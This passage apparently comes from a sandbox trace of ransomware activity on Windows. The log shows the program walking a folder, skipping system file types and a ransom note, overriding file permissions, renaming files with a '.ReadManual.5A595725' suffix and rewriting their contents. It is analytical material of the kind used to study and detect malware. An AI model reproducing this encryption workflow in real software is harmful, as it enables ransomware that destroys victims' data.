lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0254.232] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0254.232] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13d0) returned 0x2f0000 [0254.232] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.232] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37490067912) returned 1 [0254.232] CloseHandle (hObject=0x184) returned 1 [0254.232] SetSecurityInfo () returned 0x5 [0254.232] SetSecurityInfo () returned 0x5 [0254.232] LocalFree (hMem=0x674d38) returned 0x0 [0254.232] CloseHandle (hObject=0x194) returned 1 [0254.233] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eae790c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eae790c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rectangle_performance_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0254.233] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="rectangle_performance_Thumbnail.bmp" | out: lpString1="rectangle_performance_Thumbnail.bmp") returned="rectangle_performance_Thumbnail.bmp" [0254.233] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2="RecoveryManual.html") returned 1 [0254.233] StrStrIW (lpFirst="rectangle_performance_Thumbnail.bmp", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.233] StrCmpIW (psz1="bmp", psz2="exe") returned -1 [0254.233] StrCmpIW (psz1="bmp", psz2="dll") returned -1 [0254.233] StrCmpIW (psz1="bmp", psz2="sys") returned -1 [0254.233] StrCmpIW (psz1="bmp", psz2="msi") returned -1 [0254.233] StrCmpIW (psz1="bmp", psz2="mui") returned -1 [0254.233] StrCmpIW (psz1="bmp", psz2="inf") returned -1 [0254.233] StrCmpIW (psz1="bmp", psz2="cat") returned -1 [0254.233] StrCmpIW (psz1="bmp", psz2="bat") returned 1 [0254.233] StrCmpIW (psz1="bmp", psz2="cmd") returned -1 [0254.233] StrCmpIW (psz1="bmp", psz2="ps1") returned -1 [0254.233] StrCmpIW (psz1="bmp", psz2="vbs") returned -1 [0254.233] StrCmpIW (psz1="bmp", psz2="ttf") returned -1 [0254.233] StrCmpIW (psz1="bmp", psz2="fon") returned -1 [0254.233] StrCmpIW (psz1="bmp", psz2="lnk") returned -1 [0254.233] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp" [0254.233] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp.ReadManual.5A595725" [0254.233] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp.ReadManual.5A595725") returned 103 [0254.233] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37490224918) returned 1 [0254.234] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp")) returned 0x20 [0254.234] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.234] GetLastError () returned 0x5 [0254.234] GetNamedSecurityInfoW () returned 0x0 [0254.234] SetNamedSecurityInfoW () returned 0x0 [0254.234] SetNamedSecurityInfoW () returned 0x0 [0254.235] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0254.235] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5072) returned 1 [0254.235] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13d0, lpName=0x0) returned 0x184 [0254.235] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xde) returned 1 [0254.236] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.236] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0254.237] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0254.237] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13d0) returned 0x2f0000 [0254.237] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.237] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37490628240) returned 1 [0254.238] CloseHandle (hObject=0x184) returned 1 [0254.238] SetSecurityInfo () returned 0x5 [0254.238] SetSecurityInfo () returned 0x5 [0254.238] LocalFree (hMem=0x674d38) returned 0x0 [0254.238] CloseHandle (hObject=0x194) returned 1 [0254.238] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb0da69, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb0da69, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rectangle_photo_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0254.238] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="rectangle_photo_Thumbnail.bmp" | out: lpString1="rectangle_photo_Thumbnail.bmp") returned="rectangle_photo_Thumbnail.bmp" [0254.239] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2="RecoveryManual.html") returned 1 [0254.239] StrStrIW (lpFirst="rectangle_photo_Thumbnail.bmp", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.239] StrCmpIW (psz1="bmp", psz2="exe") returned -1 [0254.239] StrCmpIW (psz1="bmp", psz2="dll") returned -1 [0254.239] StrCmpIW (psz1="bmp", psz2="sys") returned -1 [0254.239] StrCmpIW (psz1="bmp", psz2="msi") returned -1 [0254.239] StrCmpIW (psz1="bmp", psz2="mui") returned -1 [0254.239] StrCmpIW (psz1="bmp", psz2="inf") returned -1 [0254.239] StrCmpIW (psz1="bmp", psz2="cat") returned -1 [0254.239] StrCmpIW (psz1="bmp", psz2="bat") returned 1 [0254.239] StrCmpIW (psz1="bmp", psz2="cmd") returned -1 [0254.239] StrCmpIW (psz1="bmp", psz2="ps1") returned -1 [0254.239] StrCmpIW (psz1="bmp", psz2="vbs") returned -1 [0254.239] StrCmpIW (psz1="bmp", psz2="ttf") returned -1 [0254.239] StrCmpIW (psz1="bmp", psz2="fon") returned -1 [0254.239] StrCmpIW (psz1="bmp", psz2="lnk") returned -1 [0254.239] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp" [0254.239] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp.ReadManual.5A595725" [0254.239] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp.ReadManual.5A595725") returned 97 [0254.239] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37490813475) returned 1 [0254.239] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp")) returned 0x20 [0254.240] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.240] GetLastError () returned 0x5 [0254.240] GetNamedSecurityInfoW () returned 0x0 [0254.240] SetNamedSecurityInfoW () returned 0x0 [0254.241] SetNamedSecurityInfoW () returned 0x0 [0254.241] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0254.242] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5072) returned 1 [0254.242] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13d0, lpName=0x0) returned 0x184 [0254.242] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd2) returned 1 [0254.243] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.243] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0254.244] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0254.245] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13d0) returned 0x2f0000 [0254.245] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.245] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37491360099) returned 1 [0254.245] CloseHandle (hObject=0x184) returned 1 [0254.245] SetSecurityInfo () returned 0x5 [0254.245] SetSecurityInfo () returned 0x5 [0254.245] LocalFree (hMem=0x674d38) returned 0x0 [0254.245] CloseHandle (hObject=0x194) returned 1 [0254.245] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea754f5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea754f5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rectangle_plain_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0254.245] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="rectangle_plain_Thumbnail.bmp" | out: lpString1="rectangle_plain_Thumbnail.bmp") returned="rectangle_plain_Thumbnail.bmp" [0254.245] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2="RecoveryManual.html") returned 1 [0254.245] StrStrIW (lpFirst="rectangle_plain_Thumbnail.bmp", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.245] StrCmpIW (psz1="bmp", psz2="exe") returned -1 [0254.245] StrCmpIW (psz1="bmp", psz2="dll") returned -1 [0254.245] StrCmpIW (psz1="bmp", psz2="sys") returned -1 [0254.245] StrCmpIW (psz1="bmp", psz2="msi") returned -1 [0254.245] StrCmpIW (psz1="bmp", psz2="mui") returned -1 [0254.245] StrCmpIW (psz1="bmp", psz2="inf") returned -1 [0254.245] StrCmpIW (psz1="bmp", psz2="cat") returned -1 [0254.246] StrCmpIW (psz1="bmp", psz2="bat") returned 1 [0254.246] StrCmpIW (psz1="bmp", psz2="cmd") returned -1 [0254.246] StrCmpIW (psz1="bmp", psz2="ps1") returned -1 [0254.246] StrCmpIW (psz1="bmp", psz2="vbs") returned -1 [0254.246] StrCmpIW (psz1="bmp", psz2="ttf") returned -1 [0254.246] StrCmpIW (psz1="bmp", psz2="fon") returned -1 [0254.246] StrCmpIW (psz1="bmp", psz2="lnk") returned -1 [0254.246] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp" [0254.246] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp.ReadManual.5A595725" [0254.246] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp.ReadManual.5A595725") returned 97 [0254.246] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37491456703) returned 1 [0254.246] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp")) returned 0x20 [0254.246] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.246] GetLastError () returned 0x5 [0254.246] GetNamedSecurityInfoW () returned 0x0 [0254.246] SetNamedSecurityInfoW () returned 0x0 [0254.247] SetNamedSecurityInfoW () returned 0x0 [0254.247] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0254.247] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5072) returned 1 [0254.247] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13d0, lpName=0x0) returned 0x184 [0254.248] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd2) returned 1 [0254.248] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.248] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0254.249] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0254.250] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13d0) returned 0x2f0000 [0254.250] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.250] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37491852694) returned 1 [0254.250] CloseHandle (hObject=0x184) returned 1 [0254.250] SetSecurityInfo () returned 0x5 [0254.250] SetSecurityInfo () returned 0x5 [0254.250] LocalFree (hMem=0x674d38) returned 0x0 [0254.250] CloseHandle (hObject=0x194) returned 1 [0254.251] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb33bc6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb33bc6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rectangle_postage_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0254.251] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="rectangle_postage_Thumbnail.bmp" | out: lpString1="rectangle_postage_Thumbnail.bmp") returned="rectangle_postage_Thumbnail.bmp" [0254.251] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2="RecoveryManual.html") returned 1 [0254.251] StrStrIW (lpFirst="rectangle_postage_Thumbnail.bmp", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.251] StrCmpIW (psz1="bmp", psz2="exe") returned -1 [0254.251] StrCmpIW (psz1="bmp", psz2="dll") returned -1 [0254.251] StrCmpIW (psz1="bmp", psz2="sys") returned -1 [0254.251] StrCmpIW (psz1="bmp", psz2="msi") returned -1 [0254.251] StrCmpIW (psz1="bmp", psz2="mui") returned -1 [0254.251] StrCmpIW (psz1="bmp", psz2="inf") returned -1 [0254.251] StrCmpIW (psz1="bmp", psz2="cat") returned -1 [0254.251] StrCmpIW (psz1="bmp", psz2="bat") returned 1 [0254.251] StrCmpIW (psz1="bmp", psz2="cmd") returned -1 [0254.251] StrCmpIW (psz1="bmp", psz2="ps1") returned -1 [0254.251] StrCmpIW (psz1="bmp", psz2="vbs") returned -1 [0254.251] StrCmpIW (psz1="bmp", psz2="ttf") returned -1 [0254.251] StrCmpIW (psz1="bmp", psz2="fon") returned -1 [0254.251] StrCmpIW (psz1="bmp", psz2="lnk") returned -1 [0254.251] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp" [0254.251] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp.ReadManual.5A595725" [0254.251] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp.ReadManual.5A595725") returned 99 [0254.251] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37492009822) returned 1 [0254.251] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp")) returned 0x20 [0254.252] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.252] GetLastError () returned 0x5 [0254.252] GetNamedSecurityInfoW () returned 0x0 [0254.252] SetNamedSecurityInfoW () returned 0x0 [0254.252] SetNamedSecurityInfoW () returned 0x0 [0254.253] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0254.253] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5072) returned 1 [0254.253] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13d0, lpName=0x0) returned 0x184 [0254.253] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd6) returned 1 [0254.254] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.254] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0254.255] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0254.255] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13d0) returned 0x2f0000 [0254.255] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.256] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37492430282) returned 1 [0254.256] CloseHandle (hObject=0x184) returned 1 [0254.256] SetSecurityInfo () returned 0x5 [0254.256] SetSecurityInfo () returned 0x5 [0254.256] LocalFree (hMem=0x674d38) returned 0x0 [0254.256] CloseHandle (hObject=0x194) returned 1 [0254.256] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rectangle_scrapbook_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0254.256] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="rectangle_scrapbook_Thumbnail.bmp" | out: lpString1="rectangle_scrapbook_Thumbnail.bmp") returned="rectangle_scrapbook_Thumbnail.bmp" [0254.256] lstrcmpiW (lpString1="rectangle_scrapbook_Thumbnail.bmp", lpString2="RecoveryManual.html") returned 1 [0254.257] StrStrIW (lpFirst="rectangle_scrapbook_Thumbnail.bmp", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.257] StrCmpIW (psz1="bmp", psz2="exe") returned -1 [0254.257] StrCmpIW (psz1="bmp", psz2="dll") returned -1 [0254.257] StrCmpIW (psz1="bmp", psz2="sys") returned -1 [0254.257] StrCmpIW (psz1="bmp", psz2="msi") returned -1 [0254.257] StrCmpIW (psz1="bmp", psz2="mui") returned -1 [0254.257] StrCmpIW (psz1="bmp", psz2="inf") returned -1 [0254.257] StrCmpIW (psz1="bmp", psz2="cat") returned -1 [0254.257] StrCmpIW (psz1="bmp", psz2="bat") returned 1 [0254.257] StrCmpIW (psz1="bmp", psz2="cmd") returned -1 [0254.257] StrCmpIW (psz1="bmp", psz2="ps1") returned -1 [0254.257] StrCmpIW (psz1="bmp", psz2="vbs") returned -1 [0254.257] StrCmpIW (psz1="bmp", psz2="ttf") returned -1 [0254.257] StrCmpIW (psz1="bmp", psz2="fon") returned -1 [0254.257] StrCmpIW (psz1="bmp", psz2="lnk") returned -1 [0254.257] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp") returned="\\\\?\\c:\\Program Files\\DVD 